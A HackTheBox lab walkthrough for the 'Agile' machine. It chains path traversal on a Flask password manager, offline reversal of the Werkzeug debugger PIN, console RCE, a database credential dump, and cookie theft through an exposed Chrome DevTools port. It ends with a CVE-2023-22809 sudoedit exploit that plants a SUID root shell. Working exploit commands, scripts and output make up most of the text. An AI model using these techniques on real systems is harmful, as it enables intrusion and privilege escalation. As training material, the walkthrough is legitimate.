HTB: Agile Writeup
Agile - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Agile |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.228.212 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Agile hosts a password-manager web app (“SuperPassword”) behind the vhost superpass.htb. The vault’s CSV export flow passes a filename straight into a /download?fn= parameter, giving Arbitrary File Read. That same /download endpoint, when hit without a valid filename, throws an unhandled Flask exception and surfaces the unauthenticated Werkzeug interactive debugger — protected only by a PIN derived from local machine state. The AFR bug is enough to read every ingredient needed to recompute that PIN offline, unlock the debug console, and get command execution as www-data. From there, a database credential dump yields SSH access for corum. A second, test-only copy of the application is being exercised by an automated Selenium/headless-Chrome test runner with its DevTools protocol port left open; tunneling into it and reading the already-authenticated session hands over edwards’s credentials. edwards can sudoedit two files as dev_admin, and the target’s sudo build is vulnerable to CVE-2023-22809 — combined with a group-writable venv activate script, that turns into an arbitrary write as dev_admin, and a root-owned process later sources that same activate file, planting a SUID root shell.
TL;DR: CSV export filename → Arbitrary File Read → leak Werkzeug PIN ingredients → reverse the debug console PIN → RCE as www-data → DB creds → SSH as corum → pivot into an exposed Selenium/Chrome DevTools debug port → steal edwards’s vault password → CVE-2023-22809 sudoedit abuse against a group-writable venv activate → root.
Reconnaissance
Port Scanning
nmap -Pn -p22,80 -sV 10.129.228.212Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.18.0 (Ubuntu)Only SSH and a web front end. The web app requires a vhost, so it was added locally alongside its test. counterpart, discovered later in the box:
echo "10.129.228.212 superpass.htb test.superpass.htb" | sudo tee -a /etc/hostsService Enumeration
http://superpass.htb is a Flask password-manager app called SuperPassword. The registration form only takes username and password:
curl -s -c /tmp/agile.jar http://superpass.htb/account/register | grep -iE "input|form"# <input class="form-control" type="text" name="username" ...># <input class="form-control" type="password" name="password" ...>Registering and logging in exposes a /vault page for storing site credentials, with an Export button that pulls the vault as CSV. Watching that flow shows it hits /vault/export, which redirects to a second endpoint:
/download?fn=<username>_export_<...>.csvPassing a filename straight into a download endpoint via a GET parameter is a classic Arbitrary File Read smell.
Vulnerability Assessment
/download?fn=accepts a user-controlled path with no sanitisation — Arbitrary File Read./downloadwith no (or an invalid)fnthrows an unhandled exception, exposing the Werkzeug interactive debugger, PIN-locked but reachable pre-auth.- A second copy of the app at
test.superpass.htbis driven by an automated Selenium test suite running headless Chrome with its remote-debugging port left open. sudo 1.9.9on the box is affected by CVE-2023-22809 (sudoedit arbitrary-file-write viaEDITOR/SUDO_EDITORargument injection).
Initial Foothold
Exploitation Path
1. Register and confirm the AFR bug
U=trx25894; P=Passw0rd123curl -s -c /tmp/agile.jar -b /tmp/agile.jar -d "username=$U&password=$P" \ http://superpass.htb/account/register -o /dev/null -w "register:%{http_code}\n"curl -s -c /tmp/agile.jar -b /tmp/agile.jar -d "username=$U&password=$P" \ http://superpass.htb/account/login -o /dev/null -w "login:%{http_code}\n"# register:302, login:302 — session cookie now validcurl -s -b /tmp/agile.jar "http://superpass.htb/download?fn=../../../../etc/passwd"# root:x:0:0:root:/root:/bin/bash# ...# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinDirectory traversal in fn reads arbitrary files as the web process user.
2. Trigger and analyze the Werkzeug debugger
Hitting /download without a valid filename throws a 500 and returns the Werkzeug debug page — protected by a PIN generated from a mix of public and private machine values (Werkzeug’s get_pin_and_cookie_name()). The PIN formula hashes:
probably_public_bits: running username, module name (flask.app/werkzeug.debug), app object name (wsgi_app/Flask/DebuggedApplication), and the path to Flask’sapp.py.private_bits:uuid.getnode()(the host’s MAC, as an integer) and the machine ID.
Since the AFR bug reads arbitrary files as www-data, every one of those values can be pulled straight off disk instead of guessed:
J=/dev/shm/agile.jarrd(){ curl -s -b $J "http://superpass.htb/download?fn=../../../../$1"; }
rd "proc/self/environ" | tr '\0' '\n'# USER=www-data# CONFIG_PATH=/app/config_prod.json
rd "proc/net/arp"# IP address HW type Flags HW address Mask Device# 10.129.0.1 0x1 0x2 00:50:56:94:9b:51 * eth0
rd "sys/class/net/eth0/address"# a2:de:ad:bf:b9:24
rd "proc/self/cgroup"# 0::/system.slice/superpass.service
rd "etc/machine-id"# <machine-id>The Flask app.py path was visible directly in the debugger traceback: /app/venv/lib/python3.10/site-packages/flask/app.py.
3. Reverse the PIN offline
import hashlibfrom itertools import chain
mac = int("a2deadbfb924", 16) # eth0 MAC, from /sys/class/net/eth0/addressmachine = "<machine-id>superpass.service" # /etc/machine-id + tail of /proc/self/cgroup
combos = [ ("flask.app", "wsgi_app"), ("flask.app", "Flask"), ("werkzeug.debug", "DebuggedApplication"),]
for mod, appn in combos: probably = ["www-data", mod, appn, "/app/venv/lib/python3.10/site-packages/flask/app.py"] private = [str(mac), machine] h = hashlib.sha1() for bit in chain(probably, private): h.update(bit.encode() if isinstance(bit, str) else bit) h.update(b"cookiesalt") h.update(b"pinsalt") num = ("%09d" % int(h.hexdigest(), 16))[:9] pin = "-".join(num[x:x+3] for x in range(0, 9, 3)) print(mod, appn, "->", pin)flask.app wsgi_app -> 254-793-843flask.app Flask -> 108-096-718werkzeug.debug DebuggedApplication -> 315-667-2104. Unlock the console and get RCE
The debug page’s error response also leaks the per-session SECRET needed for the pinauth call:
curl -s -b $J "http://superpass.htb/download" -o /dev/shm/dbg.htmlgrep -oE 'SECRET = "[a-zA-Z0-9]+"' /dev/shm/dbg.html# SECRET = "83NJSbV8EZNV2xfe1IQz"S=83NJSbV8EZNV2xfe1IQzfor PIN in 254-793-843 108-096-718 315-667-210; do curl -s -b $J "http://superpass.htb/download?__debugger__=yes&cmd=pinauth&pin=$PIN&s=$S"done# 254-793-843 -> {"auth": true, "exhausted": false}The flask.app / wsgi_app combination hit first try. With the console unlocked, arbitrary Python (and via os.popen, arbitrary shell) runs in the request/response cycle — no reverse shell needed:
FRM=139653023094080 # frame id from the debug page's tracebackcurl -s -b $J --data-urlencode \ 'cmd=__import__("os").popen("id; cat /app/config_prod.json").read()' \ "http://superpass.htb/download?__debugger__=yes&frm=$FRM&s=$S" -Guid=33(www-data) gid=33(www-data) groups=33(www-data){"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}A direct mysql -u superpassuser -p'...' from the popen’d shell was rejected (Access denied ... using password: YES) — the $ in the password gets mangled by an extra layer of shell interpretation inside popen. Querying through pymysql from within the same Python console sidesteps shell quoting entirely:
PY='import pymysql;c=pymysql.connect(host="localhost",user="superpassuser",password="dSA6l7q*yIVs$39Ml6ywvgK",db="superpass");cur=c.cursor();cur.execute("SELECT * FROM passwords");str(cur.fetchall())'curl -s -b $J --data-urlencode "cmd=$PY" \ "http://superpass.htb/download?__debugger__=yes&frm=$FRM&s=$S" -G((3, ..., 'hackthebox.com', '0xdf', '762b430d32eea2f12970', 1), (4, ..., 'mgoblog.com', '0xdf', '5b133f7a6a1c180646cb', 1), (6, ..., 'mgoblog', 'corum','47ed1e73c955de230a1d', 2), (7, ..., 'ticketmaster', 'corum','9799588839ed0f98c211', 2), (8, ..., 'agile', 'corum','5db7caa1d13cc37c9fc2', 2))corum’s stored password for site agile is the account’s own login credential.
ssh corum@10.129.228.212# password: 5db7caa1d13cc37c9fc2id# uid=1000(corum) gid=1000(corum) groups=1000(corum)cat /home/corum/user.txt# <redacted>Privilege Escalation
corum → edwards
Listing processes on the box shows a headless Chrome instance run by a runner account, driving Selenium tests against the test copy of the app, with its DevTools port exposed on localhost:
ps aux | grep remote-debugging-port# runner 1127 ... /usr/bin/google-chrome --headless --enable-automation# ... --remote-debugging-port=41829 --test-type=webdriver# ... data:,Since the port only listens on loopback, it’s tunneled over the existing SSH session (setsid used to keep the forward alive independent of the invoking shell, after a first backgrounded attempt died silently):
setsid sshpass -p '5db7caa1d13cc37c9fc2' ssh -o ExitOnForwardFailure=yes \ -N -L 41829:localhost:41829 corum@10.129.228.212 &curl -s http://127.0.0.1:41829/json/version# "Browser": "HeadlessChrome/108.0.5359.94"curl -s http://127.0.0.1:41829/json# [{"type":"page","url":"http://test.superpass.htb/", "webSocketDebuggerUrl":"ws://127.0.0.1:41829/devtools/page/7656CB4E2F37E8458605A2B4FD435692"}]Directly instructing the page to Page.navigate to /vault returned a fresh, unauthenticated “Internal Server Error” — but the automated test runner’s own browser session was already logged in. Reading its cookies and reusing them from inside the page context (rather than trying to log in separately) got past that:
import websocket, json, time
ws = websocket.create_connection(WS_URL, max_size=None)
def cmd(method, params=None): ... # send {"id","method","params"}, wait for matching "id" reply
print(cmd("Network.getAllCookies"))# remember_token = 1|f462f124a013e5fb2d760ce53f3102aeba6327 (domain test.superpass.htb)# session = .eJwlzjkOwjAQAMC_uKbYy2snn0HeS9AmpEL8HST (domain test.superpass.htb)
cmd("Runtime.enable")r = cmd("Runtime.evaluate", { "expression": 'fetch("/vault",{credentials:"include"}).then(r=>r.text())', "awaitPromise": True, "returnByValue": True,})print(r["result"]["result"]["value"])Fetching /vault in the page’s own JS context with credentials: "include" rides the already-authenticated session cookies straight through — no need to solve the login form at all:
<td>agile</td> <td>edwards</td> <td>d07867c6267dcb5df0af</td><td>twitter</td> <td>dedwards__</td> <td>7dbfe676b6b564ce5718</td>edwards’s stored password for site agile is again the login itself:
ssh edwards@10.129.228.212# password: d07867c6267dcb5df0afid# uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)edwards → root (CVE-2023-22809)
sudo -lUser edwards may run the following commands on agile: (dev_admin : dev_admin) sudoedit /app/config_test.json (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txtsudo -V | head -1# Sudo version 1.9.9ls -la /app/venv/bin/activate# -rw-rw-r-- 1 root dev_admin 1976 Jul 21 09:06 /app/venv/bin/activateSudo 1.9.9 is vulnerable to CVE-2023-22809: sudoedit builds the editor command line from EDITOR/SUDO_EDITOR, and if that variable contains extra arguments (e.g. vim -- /some/other/file), those are appended after sudoedit’s own temp-file argument — letting the “editor” touch a second, attacker-chosen file with the target user’s privileges instead of only the one that was authorized. /app/venv/bin/activate is owned by root:dev_admin and group-writable, which is exactly the kind of file dev_admin can be tricked into overwriting:
cat > /tmp/ed.sh <<'EOF'#!/bin/bashfor a in "$@"; do case "$a" in *activate*) printf '\ncp /bin/bash /tmp/rootbash\nchmod 4777 /tmp/rootbash\n' >> "$a" echo "PATCHED $a" ;; esacdoneEOFchmod +x /tmp/ed.shexport EDITOR='/tmp/ed.sh -- /app/venv/bin/activate'sudoedit -S -u dev_admin /app/config_test.json <<< 'd07867c6267dcb5df0af'sudoedit: --: editing files in a writable directory is not permittedPATCHED /var/tmp/activate.XXtAHj8Rsudoedit: /app/config_test.json unchangedTwo earlier attempts failed first: prefixing with sudo -S -u dev_admin sudoedit ... errored (sudoedit doesn't need to be run via sudo), and matching on the literal -- token instead of the filename picked the wrong argument. Matching by filename (*activate*) against the actual temp-file paths sudoedit passes to the editor fixed it — the payload lands in the temp copy of activate (/var/tmp/activate.XXtAHj8R), which sudoedit then writes back to /app/venv/bin/activate as dev_admin, appending:
cp /bin/bash /tmp/rootbashchmod 4777 /tmp/rootbashThe box periodically has a root-owned process re-source that venv’s activate script; polling for the SUID drop confirmed it:
for i in $(seq 1 20); do [ -f /tmp/rootbash ] && { ls -l /tmp/rootbash; break; } sleep 5done-rwsrwxrwx 1 root root 1396520 Jul 21 09:11 /tmp/rootbash/tmp/rootbash -p -c "id; hostname; cat /root/root.txt; cat /home/corum/user.txt"uid=1002(edwards) gid=1002(edwards) euid=0(root) groups=1002(edwards)agile<redacted><redacted>Attack Chain Summary
Register/login on superpass.htb → CSV export flow reveals /download?fn= (Arbitrary File Read) → AFR leaks PIN ingredients (user, MAC, machine-id, cgroup, Flask app.py path) → Offline SHA1 PIN reversal (Werkzeug debug PIN algorithm) → 254-793-843 → Unlock Werkzeug debug console → RCE as www-data → /app/config_prod.json → MySQL creds → dump passwords table → corum:5db7caa1d13cc37c9fc2 → SSH → user.txt → Selenium/headless-Chrome DevTools port 41829 (localhost only) → SSH tunnel → CDP: reuse authenticated test-runner cookies via in-page fetch("/vault") → edwards:d07867c6267dcb5df0af → SSH → sudo -l: sudoedit as dev_admin (sudo 1.9.9, CVE-2023-22809) → EDITOR arg-injection writes /app/venv/bin/activate (group-writable, dev_admin) → root-owned process sources activate → SUID /tmp/rootbash → /tmp/rootbash -p → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery on 22 and 80 |
curl | Registration/login, AFR traversal, debug console PIN-auth and RCE requests |
python3 / hashlib | Offline reimplementation of Werkzeug’s PIN-generation algorithm |
pymysql (via debug console) | Querying the superpass MySQL DB without shell-quoting the $-laden password |
sshpass / ssh | Non-interactive SSH as corum/edwards, persistent local port-forward to the Chrome debug port |
websocket-client (Python) | Chrome DevTools Protocol client — cookie theft and in-page fetch() of /vault |
Custom EDITOR wrapper script | CVE-2023-22809 exploitation via sudoedit |
Key Learnings
Techniques Practiced
- Turning an Arbitrary File Read into full RCE by reversing a Werkzeug/Flask debug console PIN from leaked local files.
- Using RCE-console-native language features (
pymysql) to avoid shell-metacharacter mangling that broke a plain CLI credential. - Abusing an exposed Chrome DevTools Protocol debug port to ride an already-authenticated automated test session instead of needing its login credentials.
- Exploiting CVE-2023-22809 (
sudoeditEDITORargument injection) against a group-writable virtualenvactivatescript to escalate todev_admin, then riding a root-owned process to full root.
Lessons Learned
- Any endpoint that accepts a filename from the client is a traversal risk even when it’s “just” a CSV export helper — and a debug page’s own error traceback can leak everything needed to defeat its own PIN protection.
- A password containing shell metacharacters (
$,*) can fail against a raw CLI invocation while working fine through a native DB driver — don’t assume “access denied” means the credential is wrong before ruling out shell quoting. - CI/test automation that logs into an app headlessly and leaves its debugger port reachable is effectively a standing authenticated session for anyone who can reach that port.
sudoedit’s temp-file naming isn’t positional in a way you can rely on — matching the target file by name inside anEDITORwrapper is more robust than assuming argument order.- Group-writable files that a privileged process later reads/sources (like a venv
activateused by a cron/service) are a privesc primitive even without any code-execution bug in the file format itself.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox “Agile” official writeup — Prepared by TRX, Machine Author 0xdf (Document No. D23.100.247) — used here for the Werkzeug PIN algorithm background, the
probably_public_bits/private_bitsbreakdown, and the CVE-2023-22809 identification.